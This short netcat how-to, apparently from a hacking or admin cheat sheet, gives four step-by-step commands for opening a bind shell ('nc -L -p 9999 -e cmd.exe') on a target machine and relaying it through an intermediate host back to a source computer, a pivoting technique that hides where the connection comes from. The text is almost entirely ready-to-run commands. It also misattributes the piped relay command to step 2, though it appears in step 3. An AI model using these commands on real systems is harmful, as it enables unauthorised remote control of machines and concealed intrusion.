- Netcat can't provide an interface for graphical user interface tools (GUI).
- The following commands will let you connect from computer "A" (source;IP=10.10.10.1), bounce off of one (or more) "relay" computers "B" (relay;IP=10.10.10.2), and then shovel a command shell back from computer "C" (target;IP=10.10.10.3).

STEP 1) open a cmd window on computer "A"(source) and type:
nc -L -p 9998
STEP 2) open a cmd window on computer "C"(target) and type:
nc -L -p 9999 -e cmd.exe
STEP 3) open a cmd window on computer "B"(relay) and type:
nc -L -p 9997 | nc 10.10.10.3 9999 | nc 10.10.10.1 9998
STEP 4) open a second command window on computer "A" and type:
nc 10.10.10.2 9997

- On computer "A" (source) you will be entering commands in one window and the results will be visible in the other window.
(NOTE: "STEP 2" uses pipe characters "|" between the nc commands)